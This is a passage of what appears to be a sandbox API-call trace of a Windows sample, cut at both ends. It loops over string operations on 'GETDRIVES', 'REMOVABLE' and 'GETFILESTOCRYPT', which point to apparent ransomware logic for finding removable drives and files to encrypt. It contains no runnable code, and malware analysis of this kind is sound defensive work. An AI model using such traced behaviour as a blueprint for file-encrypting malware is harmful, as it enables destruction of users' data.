lpMsg=0x130f86c) returned 0 [0083.692] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.692] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.699] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.699] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.699] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.700] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.700] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.700] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.700] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.700] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.700] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.701] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.701] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.701] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.701] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.702] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.702] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.702] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.702] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.702] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.702] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.702] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.702] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.703] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.703] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.703] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.703] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.703] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.703] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.703] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.703] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.703] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.703] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.703] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.703] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.703] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.704] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.704] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.704] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.704] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.704] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.704] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.704] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.704] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.704] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.705] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.705] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.705] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.705] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.705] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.705] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.705] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.705] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.706] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.706] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.706] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.706] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.706] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.706] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.706] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.706] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.706] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.706] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.706] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.707] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.707] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.707] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.707] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.707] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.707] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.708] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.708] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.708] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.710] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.710] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.710] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.710] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.710] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.710] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.711] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.711] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.711] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.711] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.711] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.712] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.712] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.712] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.712] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.712] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.712] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.713] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.713] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.713] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.714] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.714] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.714] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.714] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.715] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.715] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.715] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.715] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.715] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.715] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.715] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.716] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.716] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.716] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.716] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.716] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.716] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.716] CharLowerBuffW 